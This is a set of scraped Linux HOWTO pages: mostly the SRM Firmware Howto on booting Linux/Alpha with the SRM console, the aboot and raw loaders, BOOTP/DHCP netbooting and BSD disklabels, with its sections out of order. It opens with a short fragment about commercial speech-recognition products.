The fine people over at Entropic have been bought out by Micro$oft... Their products and support services have all but disappeared. Their support for HTK and ESPS/waves+ is gone, and their future is in the hands of M$. Their old website as http://www.entropic.com has more information.

K.K. Chin advised me that the original developers of the HTK (the Speech Vision and Robotic Group at Cambridge) are still providing support for it. There is also a "free" version available at: http://htk.eng.cam.ac.uk. Also note that Microsoft still owns the copyright to the current HTK code...

5.2.8. More Commercial Products

There are rumors of more commercial ASR products becoming available in the near future (including L&H). I talked with a couple of L&H representatives at Comdex 2000 (Vegas) and none of them could give me any information on a Linux release, or even if they planned on releasing any products for Linux. If you have any further information, please send any details to me at scook@gear21.com.

Prev | Home | Next
Hardware |  | Inside Speech Recognition


The aboot Loader

SRM Firmware Howto
Prev Next

5. The aboot Loader

When using the SRM firmware, aboot is the preferred way of booting Linux. It supports:

  • direct booting from various filesystems (ext2, ISO9660, and UFS, the DEC Unix filesystem)

  • listing directories and following symbolic links on ext2 (version 0.6 and later)

  • booting of executable object files (both ELF and ECOFF)

  • booting compressed kernels

  • network booting (using bootp)

  • partition tables in DEC Unix format (which is compatible with BSD Unix partition tables)

  • interactive booting and default configurations for SRM consoles that cannot pass long option strings

  • load initrd images to load modules at boot time (0.7 and later)

5.1. Getting and Building aboot

The latest sources for aboot are available from alphalinux.org and alphalinux.org mirrors. They can also be obtained via CVS from www.alphalinux.org, to get the latest version from CVS use these commands:
bash$ export CVSROOT=':pserver:anonymous@www.alphalinux.org:/home/axplinux/cvs/development'
bash$ cvs login
bash# cvs -z3 co aboot
(Note there is no password for the CVS login, just press enter)

The description in this manual applies to aboot version 0.6 or newer. Please note that many distributions ship aboot with them so downloading aboot from this directory is probably not neccesary.

Once you downloaded and extracted the latest tar file, take a look at the README and INSTALL files for installation hints. In particular, be sure to adjust the variables in Makefile and in include/config.h to match your environment. Normally, you won't need to change anything when building under Linux, but it is always a good idea to double check. If you're satisfied with the configuration, simply type make to build it (if you're not building under Linux, be advised that aboot requires GNU make).

After running make, the aboot directory should contain the following files:

aboot

This is the actual aboot executable (either an ECOFF or ELF object file).

bootlx

Same as above, but it contains only the text, data and bss segments---that is, this file is not an object file.

sdisklabel/writeboot

Utility to install aboot on a hard disk.

tools/e2writeboot

Utility to install aboot on an ext2 filesystem (usually used for floppies only).

tools/isomarkboot

Utility to install aboot on a iso9660 filesystem (used by CD-ROM distributors).

tools/abootconf

Utility to configure an installed aboot.

5.2. Floppy Installation

The bootloader can be installed on a floppy using the e2writeboot command (note: this can't be done on a Jensen since its firmware does not support booting from floppy). This command requires that the disk is not overly fragmented as it needs to find enough contiguous file blocks to store the entire aboot image (currently about 90KB). If e2writeboot fails because of this, reformat the floppy and try again (e.g., with fdformat(1)). For example, the following steps install aboot on floppy disk assuming the floppy is in drive /dev/fd0:
# fdformat /dev/fd0
# mke2fs /dev/fd0
# e2writeboot /dev/fd0 bootlx

5.3. Harddisk Installation

Since the e2writeboot command may fail on highly fragmented disks and since reformatting a harddisk is not without pain, it is generally safer to install aboot on a harddisk using the swriteboot command. swriteboot requires that the first few sectors are reserved for booting purposes. We suggest that the disk be partitioned such that the first partition starts at an offset of 2048 sectors. This leaves 1MB of space for storing aboot. On a properly partitioned disk, it is then possible to install aboot as follows (assuming the disk is /dev/sda):
# swriteboot /dev/sda bootlx

On systems where partition c in the entire disk it will be necessary to 'force' the write of aboot. In this case use the -f flag followed by the partition number (in the case of partition c this is 3):
# swriteboot /dev/sda bootlx -f3

On a Jensen, you will want to leave some more space, since you need to write a kernel to this place, too---2MB should be sufficient when using compressed kernels. Use swriteboot as described in Section Section 5.6 to write bootlx together with the Linux kernel.

5.4. CD-ROM Installation

To make a CD-ROM bootable by SRM, simply build aboot as described above. Then, make sure that the bootlx file is present on the iso9660 filesystem (e.g., copy bootlx to the directory that is the filesystem master, then run mkisofs on that directory). After that, all that remains to be done is to mark the filesystem as SRM bootable. This is achieved with a command of the form:
# isomarkboot filesystem bootlx

The command above assumes that filesystem is a file containing the iso9660 filesystem and that bootlx has been copied into the root directory of that filesystem. That's it!

5.5. Building the Linux Kernel

A bootable Linux kernel can be built with the following steps. During the make config, be sure to answer "yes" to the question whether you want to boot the kernel via SRM (for certain platforms this is automatically selected). Note that if you build a generic kernel (by selecting "Generic" as the alpha system type), the kernel is able to guess whether it is running under SRM or not.
# cd /usr/src/linux
# make config
# make dep
# make boot
# make modules (if applicable)
# make modules_install (if applicable)

The last command will build the file arch/alpha/boot/vmlinux.gz which can then be copied to the disk from which you want to boot from. In our floppy disk example above, this would entail:
# mount /dev/fd0 /mnt
# cp arch/alpha/boot/vmlinux.gz /mnt
# umount /mnt

5.6. Booting Linux

With the SRM firmware and aboot installed, Linux is generally booted with a command of the form:
boot devicename -fi filename
-fl flags

The filename and flags arguments are optional. If they are not specified, SRM uses the default values stored in environment variables BOOTDEF_DEV , BOOT_OSFILE and BOOT_OSFLAGS. The syntax and meaning of these two arguments is described in more detail below. To list the current values of these variables type show boot* at the SRM command prompt. This will also show a boot_dev variable (among others), this variable is read only and needs to be changed via the bootdef_dev variable.

5.6.1. Device Naming

This corresponds to the device from which SRM will attempt to boot. Examples include:

dva0

- First floppy drive, /dev/fd0 under Linux

dqa0

- Primary IDE cdrom or hard disk as Master, /dev/hda under Linux

dqa1

- Primary IDE cdrom or hard disk as Slave, /dev/hdb under Linux

dka0

- SCSI disk on first bus, Device 0, /dev/sda under Linux

ewa0

- First Ethernet Device, /dev/eth0 under Linux

For example to boot from the disk at SCSI id 6, you would enter:
>>> boot dka600

To list the devices currently installed in the system type show dev at the SRM command line. In contrast to Linux device naming, the partition number on a disk device is not given as part of the device name (you may see extra numbers after the device names when running show dev - these correspond to things like PCI bus and device numbers and are not useful to the user). Remember, as mentioned in Section 2.3, that SRM knows nothing about partitions or disklabels - it merely reads a boot block and secondary bootstrap from sectors on a disk. Therefore, the partition number is given as part of the boot filename.

5.6.2. Boot Filename

The filename argument takes the form: "[n/]filename"

n is a single digit in the range 1..8 that gives the partition number from which to boot from. filename is the path of the file you want boot. For example to boot a kernel named vmlinux.gz from the second partition of SCSI device 6, you would enter:
>>> boot dka600 -file 2/vmlinux.gz

Or to boot from floppy drive 0, you'd enter:
>>> boot dva0 -file vmlinux.gz

If a disk has no partition table, aboot pretends the disk contains one ext2 partition starting at the first diskblock. This allows booting from floppy disks.

As a special case, partition number 0 is used to request booting from a disk that does not (yet) contain a file system. When specifying "partition" number 0, aboot assumes that the Linux kernel is stored right behind the aboot image. Such a layout can be achieved with the swriteboot command. For example, to setup a filesystem-less boot from /dev/sda, one could use the command:
# swriteboot /dev/sda bootlx vmlinux.gz

Booting a system in this way is not normally necessary. The reason this feature exists is to make it possible to get Linux installed on a systems that can't boot from a floppy disk (e.g., the Jensen).

5.6.3. Boot Flags

A number of bootflags can be specified. The syntax is:
-flags "options..."

Where "options..." is any combination the following options (separated by blanks). There are many more bootoptions, depending on what drivers your kernel has installed. The options listed below are therefore just examples to illustrate the general idea:

load_ramdisk=1

Copy root file system from a (floppy) disk to the RAM disk before starting the system. The RAM disk will be used in lieu of the root device. This is useful to bootstrap Linux on a system with only one floppy drive.

floppy=str

Sets floppy configuration to str.

root=dev

Select device dev as the root-file system. The device can be specified as a major/minor hex number (e.g., 0x802 for /dev/sda2) or one of a few canonical names (e.g., /dev/fd0, /dev/sda2).

single

Boot system in single user mode.

kgdb

Enable kernel-gdb (works only if CONFIG_KGDB is enabled; a second Alpha system needs to be connected over the serial port in order to make this work)

Some SRM implementations (e.g., the one for the Jensen) are handicapped and allow only short option strings (e.g., at most 8 characters). In such a case, aboot can be booted with the single-character boot flag "i". With this flag, aboot will enter interactive mode

5.6.4. Using aboot interactively

As of version 0.6, aboot supports a simple command-oriented interactive mode. Note that this is different from the prompt which previous versions issued when booted with the "i" flag, or after failing to load a kernel. You can get a summary of the available commands by typing "h" or "?" at the prompt:
>>> boot dka0 -fl i
aboot> ?
 h, ?                   Display this message
 q                      Halt the system and return to SRM
 p 1-8                  Look in partition <num> for configuration/kernel
 l                      List pre-configured kernels
 d <dir>                List directory <dir> in current filesystem
 b <file> <args>        Boot kernel in <file> (- for raw boot)
                        with arguments <args>
 0-9                    Boot pre-configuration 0-9 (list with 'l')
aboot> b 3/vmlinux.gz root=/dev/sda3 single

5.6.5. The aboot.conf configuration file

Since booting in that manner quickly becomes tedious, aboot allows to define short-hands for frequently used command lines. In particular, a single digit option (0-9) requests that aboot uses the corresponding option string stored in file /etc/aboot.conf. A sample aboot.conf is shown below:
#
# aboot default configurations
#
0:3/vmlinux.gz root=/dev/sda3
1:3/vmlinux.gz root=/dev/sda3 single
2:3/vmlinux.new.gz root=/dev/sda3
3:3/vmlinux root=/dev/sda3
8:- root=/dev/sda3            # fs-less boot of raw kernel
9:0/vmlinux.gz root=/dev/sda3 # fs-less boot of (compressed) ECOFF kernel
-

With this configuration file, the command
>>> boot dka0 -fl 1
corresponds exactly to the boot command shown above.

Finally, at the aboot prompt, it is possible to enter one of the single character flags ("0"-"9") to get the same effect as if that flag had been specified in the boot command line. As noted in the help text cited above, you can also list the available default configurations with the "l" command.

5.6.5.1. Selecting the Partition of /etc/aboot.conf

When installed on a harddisk, aboot needs to know what partition to search for the /etc/aboot.conf file. A newly compiled aboot will search the second partition (e.g., /dev/sda2). Since it would be inconvenient to have to recompile aboot just to change the partition number, abootconf allows to directly modify an installed aboot. Specifically, if you want to change aboot to use the third partition on disk /dev/sda, you'd use the command:
# abootconf /dev/sda 3

You can verify the current setting by simply omitting the partition number. That is: abootconf /dev/sda will print the currently selected partition number. Note that aboot does have to be installed already for this command to succeed. As of version 0.6, swriteboot it will preserve the existing configuration when installing a new aboot on a hard disk.

Since aboot version 0.5, it is also possible to select the aboot.conf partition via the boot command line. This can be done with a command line of the form a:b where a is the partition that holds /etc/aboot.conf and b is a single-letter option as described above (0-9, i, or h). For example, if you type boot -fl "3:h" dka100 the system boots from SCSI ID 1, loads /etc/aboot.conf from the third partition, prints its contents on the screen and waits for you to enter the boot options.

5.7. Setting up a BOOTP capable server using DHCP

The following configuration assumes that the server is running RH-6.2. Prerequisites packages are,

  • dhcp-2.0.5

  • tftp-server-0.16.5

5.7.1. DHCP & BOOTP configuation

Once those packages are installed there are a few setup issues to take care of.

Create the default directory to which files will be pulled from using tftp.

# mkdir /tftpboot

Create the dhcp.leases file which is not create per default (though it should be) when you install the dhcp package so the dhcp server may start.

# mkdir -p /var/state/dhcp
# touch /var/state/dhcp/dhcpd.leases

Configure the inetd to accept the tftp service. Edit your /etc/inetd.conf file and locate the following line. Then uncomment it and save the file.

#tftp	dgram	udp	wait	root	/usr/sbin/tcpd	in.tftpd

Create the /etc/dhcp.conf configuation file. An example config is provided below with the directives which allow BOOTP.

subnet 192.168.1.0 netmask 255.255.255.0 {
       option routers                        192.168.1.1;
       option subnet-mask                  255.255.255.0;
       option nis-domain                "alphalinux.org";
       option domain-name	        "alphalinux.org";
       option domain-name-servers            192.168.1.2;
       range                 192.168.1.3   192.168.1.254;
       range dynamic-bootp   192.168.1.3   192.168.1.254;
       default-lease-time                          21600;
       max-lease-time                              43200;
       allow bootp;
       allow booting;
       filename "/tftpboot/vmlinux.bootp";
}

5.7.1.1. Examination of /etc/dhcp.conf

There are four directives that you should be concerned with.

  • range dynamic-bootp 192.168.1.3 192.168.1.254; which defines the range of ip's available for bootp.

  • allow bootp; which tells the dhcp server to allow the bootp protocol..

  • allow booting; which tells the dhcp server to allow the transfer of the file specified either in the the "filename" directive or passed in the "-file" flag in SRM.

  • filename "/tftpboot/vmlinux.bootp"; which is the default file which is transferred and executed when no filename specified in SRM as an argument.

Lastly, Restart the inetd daemon so that the changes we made can take effect

# service inet restart

You should now have a DHCP server that is capable of BOOTP.

5.7.2. bootpd configuration

The bootpd is the older way of making a bootp server and for the most part is not used anymore in lieu of more modern DHCP servers that are capable of handling the protocol with minimal configuration and more flexibility. This style of setup does not allow just any client to be granted a BOOTP request. Instead you must specify the ip address and MAC address of the allowed clients. Naturally this could get quite tedious if you where say administrating more than a few machines.

bootpd rpms can be found on older versions of RedHat's distributions like version 5.2 and below. Note: the rpm itself is named bootp though the package does contain the bootpd filename. It is available for download at your favorite RedHat mirror. The bootp package requires the tftp-server just as before and the location to where the files are grabbed from is the same.

Once installed you must configure your inetd service to talk to the bootpd daemon. Uncomment the following line in your /etc/inetd.conf .

#bootps dgram   udp     wait    root    /usr/sbin/tcpd  bootpd

Then restart the inetd.

# service inet restart

Configuring the /etc/bootptab file. The bootptab file has one entry describing each client that is allowed to boot from the server. For example, if you want to boot the machine voodoo.alphalinux.org, then an entry of the following form would be needed:
voodoo.alphalinux.org:\
    :hd=/tftpboot/:bf=vmlinux.bootp:\
    :ht=ethernet:ha=08012B1C51F8:hn:vm=rfc1048:\
    :ip=192.12.69.254:bs=auto:

This entry assumes that the machine's Ethernet address is 08012B1C51F8 and that its IP address is 192.12.69.254. The Ethernet address can be found with the show device command of the SRM console or, if Linux is running, with the ifconfig command. The entry also defines that if the client does not specify otherwise, the file that will be booted is vmlinux.bootp in directory /tftpboot. For more information on configuring bootpd, please refer to its man page.

5.8. Booting Over the Network

Three steps are necessary before Linux can be booted via a network. First you need an Ethernet adapter that is supported by SRM. Most version of SRM support the DE500 series of cards, with newer versions (5.6 and later) also supporting the Intel EtherExpress/Pro series of cards. Second, you need to set the SRM environment variables to enable booting via the bootp protocol and third you need to setup another machine as the your boot server. Enabling bootp in SRM is usually done by setting the ewa0_protocol (DE500 cards) or eia0_protocol (Intel cards) variable to bootp.
>>> set ewa0_protocol bootp

Also check to see that your ethernet device has a link light to whatever hub or switch it is connected to. If you do not see a link light try forcing the negotiation of the ethernet device. For example:

>>> set ewa0_mode FastFD

Would set the DE500 ethernet card to fast full duplex operation. To see a list of the available modes

>>> set ewa0_mode

Netboot using the aboot sources is currently broken though for the curious the steps needed are further below. Instead use the directions for netbooting using the kernel sources.

5.8.1. Netboot using the kernel sources

  1. Make sure the kernel you want to boot has already been built

  2. Execute the following while in the linux source dir:

    • make bootimage

    • make bootpfile

    This creates a uncompressed kernel named 'bootpfile' located in arch/alpha/boot/ . Note that this kernel is significantly larger than that produced by the aboot sources.

  3. Copy bootpfile to the bootp server's directory. With a default setup the tftp server would look in /tftpboot so copy bootpfile into /tftpboot .

5.8.2. Netboot using the aboot sources

  1. Build aboot with with the command make netboot.

  2. Make sure the kernel that you want to boot has been built already. By default, the aboot Makefile uses the kernel in /usr/src/linux/arch/alpha/boot/vmlinux.gz (edit the Makefile if you want to use a different path). The result of make netboot is a file called vmlinux.bootp which contains aboot and the Linux kernel, ready for network booting.

  3. Copy vmlinux.bootp to the bootp server's directory. In the example above, you'd copy it into /tftpboot/vmlinux.bootp.

Next, power up the client machine and boot it, specifying the Ethernet adapter as the boot device. Typically, SRM calls the DEC based Ethernet adapter ewa0 and the Intel based adapter eia0, so to boot from that device, you'd use the command:
      >>> boot ewa0

The -fi and -fl options can be used as usual. For example,

      >>> boot ewa0 -fi  bootpfile -fl "root=/dev/hda2"

In particular, you can ask aboot to prompt for Linux kernel arguments by specifying the option -fl i .

5.8.3. Updating the SRM console through BOOTP

Updating your SRM console over the network through BOOTP is just as easy as booting the Linux kernel in the same manner. The hardware prerequisites are the same as netbooting Linux.

First you have to obtain an SRM image that is able to BOOTP over the network. These images normally have a .exe extension. For DEC/Compaq Alpha products these images can be found at ftp://gatekeeper.dec.com/pub/DEC/Alpha/firmware/v5.8/. You can also find these files on the Alpha Systems Firmware Update CD-ROM. API NetWorks does not offer net bootable SRM images at this time though that may change in the near future.

For example say you had a DS20 and wanted to update it's firmware over the network using BOOTP. You would have to,

  1. Get the correct firmware image for the DS20 that supported BOOTP execution which in this case the filename is ds20_v5_8.exe from ftp://gatekeeper.dec.com/pub/DEC/Alpha/firmware/v5.8/.

  2. Copy the file to the /tftpboot folder located on the BOOTP server.

To execute the update from SRM you would do the following:

>>> b ewa0 -fi ds20_v5_8.exe

SRM would then proceed to upgrade the firmware in the same fashion as if you had done the firmware update from a CD.

5.9. Partitioning Disks

5.9.1. What is a disklabel?

A disk label is a partition table. Unfortunately, there are several formats the partition table can take, depending on the operating system.

DOS partition tables are the standard used by Linux and Windows. AlphaBIOS systems and every Linux kernel can read DOS partition tables. Unfortunately, the SRM console's boot sector format overlaps with parts of the DOS partition table on disk, and therefore DOS partition tables cannot be used with SRM.

BSD disklabels are used by several variants of Unix, including Tru64. SRM's boot block does not conflict with the BSD disklabel (in fact, the BSD disklabel resides entirely within "reserved" areas of the first sector), and Linux can use a BSD disklabel, provided that support for BSD disklabels has been compiled into the kernel.

To boot from a disk using SRM, a BSD disklabel is required. If the disk is not a boot disk, the BSD disklabel is not required. A BSD disklabel can be created using fdisk, the standard Linux disk partitioning tool.

5.9.2. Partitioning the Easy Way: a DOS Disklabel

The simplest way to partition your disk is to let your Linux installer do it for you, for example by using Red Hat's disk druid or fdisk. On Red Hat 6.1, this will produce a valid BSD disklabel, but only if the disk in question previously contained one. In most cases, this will produce a DOS disklabel. It will be readable by Linux, but you will not be able to boot from it via SRM. For this reason, you will probably want to create a BSD disklabel manually in order to boot Linux

5.9.3. Partitioning with a BSD Disklabel

  1. Start fdisk on the disk you're configuring

  2. Choose to make a BSD disklabel - option 'b' (newer versions of fdisk will detect existing BSD disklabels and automatically enter disklabel mode)

  3. You'll notice some things: Partitions are letters instead of numbers, from a-h Partition 'c' covers the whole of the disk. This is the convention, don't touch it. While you can see it, note down the disk parameters as you'll use them more often than with the DOS-disklabel approach

  4. Creating a new partition uses the same procedure as the DOS-disklabel approach, except that the partitions are referred to by letter instead of number. That is, 'n' to make a new partition followed by the partition letter followed by the starting block followed by the end block

  5. Setting partition type is slightly different, because the numbering scheme is different (1 is swap, 8 is ext2).

  6. When you are finished, write ('w') and quit ('q') as normal.

There are some important catches that you must be aware of when partitioning using a BSD disklabel:

  • Partition 'a' should start about 1M into the disk: don't start it at sector 1, try starting at sector 10 (for example). This leaves plenty of space for writing the boot block (see below)

  • There is a bug in some versions of fdisk which makes the disk look one sector bigger than it actually is. The listing when you create the BSD disklabel is correct. The last sector of partition 'c' is correct. The default last sector when creating a new partition is 1 sector too big

  • Always adjust for this extra sector. This bug exists in the version of fdisk shipped with Red Hat 6.0. Not making an adjustment for this problem almost always leads to "Access beyond end of device" errors from the Linux kernel.

Once you have made a BSD disklabel, continue the installation. After installation, you can write a boot block to your disk to make it bootable from SRM.

Prev | Home | Next
The Raw Loader |  | Sharing a Disk With DEC Unix


SRM Firmware Howto

Rich Payne, and David Huggins-Daines

v0.8, 09 November 2000

This document describes how to boot Linux/Alpha using the SRM console, which is the console firmware also used to boot Compaq Tru64 Unix (also known as Digital Unix and OSF/1) and OpenVMS.

Table of Contents
1. About this manual
1.1. Who should read this manual
1.2. Conventions
2. What is SRM?
2.1. Getting to SRM
2.2. Using the SRM console
2.3. How Does SRM Boot an OS?
2.4. Loading The Secondary Bootstrap Loader
3. SRM Device Naming
3.1. The First Two Letter
3.2. The Rest Of The Device Name
4. The Raw Loader
5. The aboot Loader
5.1. Getting and Building aboot
5.2. Floppy Installation
5.3. Harddisk Installation
5.4. CD-ROM Installation
5.5. Building the Linux Kernel
5.6. Booting Linux
5.7. Setting up a BOOTP capable server using DHCP
5.8. Booting Over the Network
5.9. Partitioning Disks
6. Sharing a Disk With DEC Unix
6.1. Partitioning the disk
6.2. Installing aboot
7. Installation of Distributions
7.1. RedHat 6.0, 6.1 and 6.2
7.2. SuSE 6.1
7.3. SuSE 6.3
8. Document History
Next
About this manual


About this manual

SRM Firmware Howto
Prev Next

1. About this manual

1.1. Who should read this manual

You should read this manual if you are installing Linux on a new Alpha system that can only boot from the SRM console, or if you are installing Linux on an older Alpha system that can use the SRM console and wish to use SRM to boot your Linux installation.

Because SRM is the only way to boot Linux on modern Alpha systems, and because it provides the proper operating environment for Unix and Unix-like operating systems (such as Linux), it is the recommended way of booting Linux on Alpha when available.

Sometimes, it is preferable to use the ARC, ARCSBIOS, or AlphaBIOS console, such as if you have a machine for which SRM is not available, if you wish to dual-boot with Windows NT without switching consoles, or if you have hardware that is not supported by SRM. On these machines, you will typically use MILO to boot Linux. For more information, refer to the MILO Howto, available from http://www.alphalinux.org/faq/milo.html.

1.2. Conventions

Throughout this manual, we will use the following conventions for commands to be entered by the user:

SRM console commands will be shown with the characteristic SRM '>>>' prompt, like this: [1]
>>> boot dva0 -fi linux.gz -fl "root=/dev/fd0 load_ramdisk=1"

Unix commands will be shown with the '#' command prompt if they are to be run as root, or '$' if they are to be run by a normal user, like this:
# swriteboot -f3 /dev/sda /boot/bootlx

Aboot commands will be shown with the 'aboot>' command prompt, like this:
aboot> b 6/boot/vmlinuz root=/dev/hda6

Notes

[1]

On multiprocessor machines, you will see 'P00>>' instead, or possibly some other number depending on which processor SRM is running.

Prev | Home | Next
SRM Firmware Howto |  | What is SRM?


What is SRM?

SRM Firmware Howto
Prev Next

2. What is SRM?

SRM console is used by Alpha systems as Unix-style boot firmware. Tru64 Unix and OpenVMS depend on it and Linux can boot from it. You can recognize SRM console as a blue screen with a prompt that is presented to you on power-up.

2.1. Getting to SRM

Most Alpha systems have both the SRM and ARC/AlphaBIOS console in their firmware. On one of these machines, if your machine starts up with ARC/AlphaBIOS by default, you can switch to SRM through the "Console Selection" option in the Advanced CMOS Setup menu. To make the change permanent, you should set the os_type environment variable in SRM to "OpenVMS" or "Unix", like this:
>>> set os_type Unix

Either one will work to boot Linux. However, if you intend to dual-boot OpenVMS on this machine, you must set os_type to "OpenVMS". Conversely, to return to ARC/AlphaBIOS, you can set os_type to "NT".

Some older systems may not have both SRM and ARC in firmware as shipped. On these systems, you will have to upgrade your firmware. See http://ftp.digital.com/pub/DEC/Alpha/firmware for the latest firmware updates and instructions.

A few older systems (primarily evaluation boards such as the 164SX and 164LX) are "half-flash" systems, whose firmware can hold SRM or AlphaBIOS, but not both. If you have one of these machines, you will have to reflash your firmware with the SRM console using the AlphaBIOS firmware update utility. Again, see http://ftp.digital.com/pub/DEC/Alpha/firmware for firmware images and instructions. If you wish to return to AlphaBIOS on these machines, you may rerun the firmware update utility from a floppy in SRM using the fwupdate command. You can also start AlphaBIOS from a floppy using the arc command.

2.2. Using the SRM console

The SRM console works very much like a Unix or OpenVMS shell. It views your NVRAM and devices as a pseudo-filesystem. You can see this if you use the ls command. Also, it contains a fairly large set of diagnostic, setup, and debugging utilities, the details of which are beyond the scope of this document. As in the Unix shell, you can pipe the output of one command to the input of another, and there is a more command that works not unlike the Unix one. To get a full listing of available commands, run:
>>> help | more

As well, SRM has environment variables, a number of which are pre-defined and correspond to locations in NVRAM. You can view the entire list of environment variables and their values with the show command (there are quite a few of them, so you will probably want to pipe its output to more). You can also show variables matching a "glob" pattern - for example, show boot* will show all the variables starting in "boot".

Environment variables are categorized as either read-only, warm non-volatile, or cold non-volatile. The full listing of pre-defined variables is detailed in the Alpha Architecture Reference Manual. The most useful pre-defined environment variables for the purposes of booting Linux are bootdef_dev, boot_file, boot_flags, and auto_action, all of which are cold non-volatile.

To set environment variables, use the set command, like this:
>>> set bootdef_def dka0

If you set an undefined variable, it will be created for you, however it will not persist across reboots.

The bootdef_dev variable specifies the device (using VMS naming conventions - see Section 5.6.1 for an explanation of these) which will be booted from if no device is specified on the boot command line, or in an automatic boot. The boot_file variable contains the filename to be loaded by the secondary bootloader, while boot_flags contains any extra flags. auto_action specifies the action which the console should take on power-up. By default, it is set to HALT, meaning that the machine will start up in the SRM console. Once you have configured your bootloader and the boot-related variables, you can set it to BOOT in order to boot automatically on power-up.

Finally, two helpful console keystrokes you should know are Control-C, which, as in the shell, halts a command in progress (such as an automatic boot), and Control-P, which if issued from the aboot prompt (or other secondary bootloader) will halt the bootloader and return you to the SRM console.

2.3. How Does SRM Boot an OS?

All versions of SRM can boot from SCSI disks and the versions for recent platforms, such as the Noname or AlphaStations can boot from floppy disks as well. Network booting via bootp is supported. Note that older SRM versions (notably the one for the Jensen) cannot boot from floppy disks. Booting from IDE devices is supported on newer platforms ( 164SX, 164LX, 164UX, DS20, DS10, DP264, UP2000(+), UP1000, UP1100 etc..).

Booting Linux with SRM is a two step process: first, SRM loads and transfers control to the secondary bootstrap loader. Then the secondary bootstrap loader sets up the environment for Linux, reads the kernel image from a disk filesystem and finally transfers control to Linux.

Currently, there are two secondary bootstrap loaders for Linux: the raw loader that comes with the Linux kernel and aboot which is distributed separately. These two loaders are described in more detail below.

2.4. Loading The Secondary Bootstrap Loader

SRM knows nothing about filesystems or disk-partitions. It simply expects that the secondary bootstrap loader occupies a consecutive range of physical disk sector, starting from a given offset. The information on the size of the secondary bootstrap loader and the offset of its first disk sector is stored in the first 512 byte sector. Specifically, the long integer at offset 480 stores the size of the secondary bootstrap loader (in 512-byte blocks) and the long at offset 488 gives the sector number at which the secondary bootstrap loader starts. The first sector also stores a flag-word at offset 496 which is always 0 and a checksum at offset 504. The checksum is simply the sum of the first 63 long integers in the first sector.

If the checksum in the first sector is correct, SRM goes ahead and reads the size sectors starting from the sector given in the sector number field and places them in virtual memory at address 0x20000000. If the reading completes successfully, SRM performs a jump to address 0x20000000.

Prev | Home | Next
About this manual |  | SRM Device Naming


SRM Device Naming

SRM Firmware Howto
Prev Next

3. SRM Device Naming

3.1. The First Two Letter

The following is based on the example device dkb1.2.3.4.5 taken from a Digital Server 3300 (Whitebox version of an AS800).

Two letter port or class driver designator:

  • DR: RAID set device

  • DV: Floppy Drive

  • EW: Ethernet port (TULIP, DEC 21040)

  • EI: Ethernet port (Intel 82557 or 82559)

  • PK: SCSI port (controller)

  • DK: SCSI disk

  • MK: SCSI tape

  • PU: DSSI port

  • DU: DSSI disk

  • MU: DSSI tape

  • JK: SCSI monitor (or robot)

  • DQ: (E)IDE Device (disk or CD-ROM)

3.2. The Rest Of The Device Name

  • b-> adapter ID (one letter adapter designator)

  • 1->Device number (SCSI unit numbers are forced to 100x Node ID)

  • 2->Bus Node ID

  • 3->Channel Number

  • 4->Channel Number (used for multi-channel devices)

  • 5->Logical Slot number

    • EISA: they correspond to the physical slot numbers (1-3)

    • PCI:

      • slot 5= SCSI controller on system backplane (DS3300)

      • slot 6= On board VGA (DS3300)

      • slot 7= PCI to EISA bridge chip (DS3300)

      • slots 11 - 14 = Correspond to Physical PCI option slots: PCI11, PCI12, PCI13 and PCI14 (64bit) (DS3300)

  • 6->Hose number: 0 PCI_0 (32bit PCI); 1 EISA (DS3300)

Prev | Home | Next
What is SRM? |  | The Raw Loader


The Raw Loader

SRM Firmware Howto
Prev Next

4. The Raw Loader

The sources for this loader can be found in directory arch/alpha/boot of the Linux kernel source distribution. It loads the Linux kernel by reading START_SIZE bytes starting at disk offset BOOT_SIZE+512 (also in bytes). The constants START_SIZE and BOOT_SIZE are defined in linux/include/asm-alpha/system.h. START_SIZE must be at least as big as the kernel image (i.e., the size of the .text, .data, and .bss segments). Similarly, BOOT_SIZE must be at least as big as the image of the raw bootstrap loader. Both constants should be an integer multiple of the sector size, which is 512 bytes. The default values are currently 2MB for START_SIZE and 16KB for BOOT_SIZE. Note that if you want to boot from a 1.44MB floppy disk, you have to reduce START_SIZE to 1400KB and make sure that the kernel you want to boot is no bigger than that.

To build a raw loader, simply type make rawboot in the top directory of your linux source tree (typically /usr/src/linux). This should produce the following files in arch/alpha/boot:

tools/lxboot:

The first sector on the disk. It contains the offset and size of the next file in the format described above.

tools/bootlx:

The raw boot loader that will load the file below.

vmlinux.nh:

The raw kernel image consisting of the .text, .data, and .bss segments of the object file in /usr/src/linux/vmlinux. The extension .nh indicates that this file has no object-file header.

The concatenation of these three files should be written to the disk from which you want to boot. For example, to boot from a floppy, insert an empty floppy disk in, say, /dev/fd0 and then type:
# cat tools/lxboot tools/bootlx vmlinux >/dev/fd0

You can then shutdown the system and boot from the floppy by issuing the command boot dva0.

Prev | Home | Next
SRM Device Naming |  | The aboot Loader


Sharing a Disk With DEC Unix

SRM Firmware Howto
Prev Next

6. Sharing a Disk With DEC Unix

Unfortunately, DEC Unix doesn't know anything about Linux, so sharing a single disk between the two OSes is not entirely trivial. However, it is not a difficult task if you heed the tips in this section. The section assumes you are using aboot version 0.5 or newer.

6.1. Partitioning the disk

First and foremost: never use any of the Linux partitioning programs (minlabel or fdisk) on a disk that is also used by DEC Unix. The Linux minlabel program uses the same partition table format as DEC Unix disklabel, but there are some incompatibilities in the data that minlabel fills in, so DEC Unix will simply refuse to accept a partition table generated by minlabel. To setup a Linux ext2 partition under DEC Unix, you'll have to change the disktab entry for your disk. For the purpose of this discussion, let's assume that you have an rz26 disk (a common 1GB drive) on which you want to install Linux. The disktab entry under DEC Unix v3.2 looks like this (see file /etc/disktab):
rz26|RZ26|DEC RZ26 Winchester:\
        :ty=winchester:dt=SCSI:ns#57:nt#14:nc#2570:\
        :oa#0:pa#131072:ba#8192:fa#1024:\
        :ob#131072:pb#262144:bb#8192:fb#1024:\
        :oc#0:pc#2050860:bc#8192:fc#1024:\
        :od#393216:pd#552548:bd#8192:fd#1024:\
        :oe#945764:pe#552548:be#8192:fe#1024:\
        :of#1498312:pf#552548:bf#8192:ff#1024:\
        :og#393216:pg#819200:bg#8192:fg#1024:\
        :oh#1212416:ph#838444:bh#8192:fh#1024:

The interesting fields here are o?, and p?, where ? is a letter in the range a-h (first through 8-th partition). The o value gives the starting offset of the partition (in sectors) and the p value gives the size of the partition (also in sectors). See disktab(4) for more info. Note that DEC Unix likes to define overlapping partitions. For the entry above, the partition layout looks like this (you can verify this by adding up the various o and p values):
  a    	b      	  d    	      e	     	  f
|---|-------|-----------|-----------|-----------|

                        c
|-----------------------------------------------|

                     g                 h
            |-----------------|-----------------|

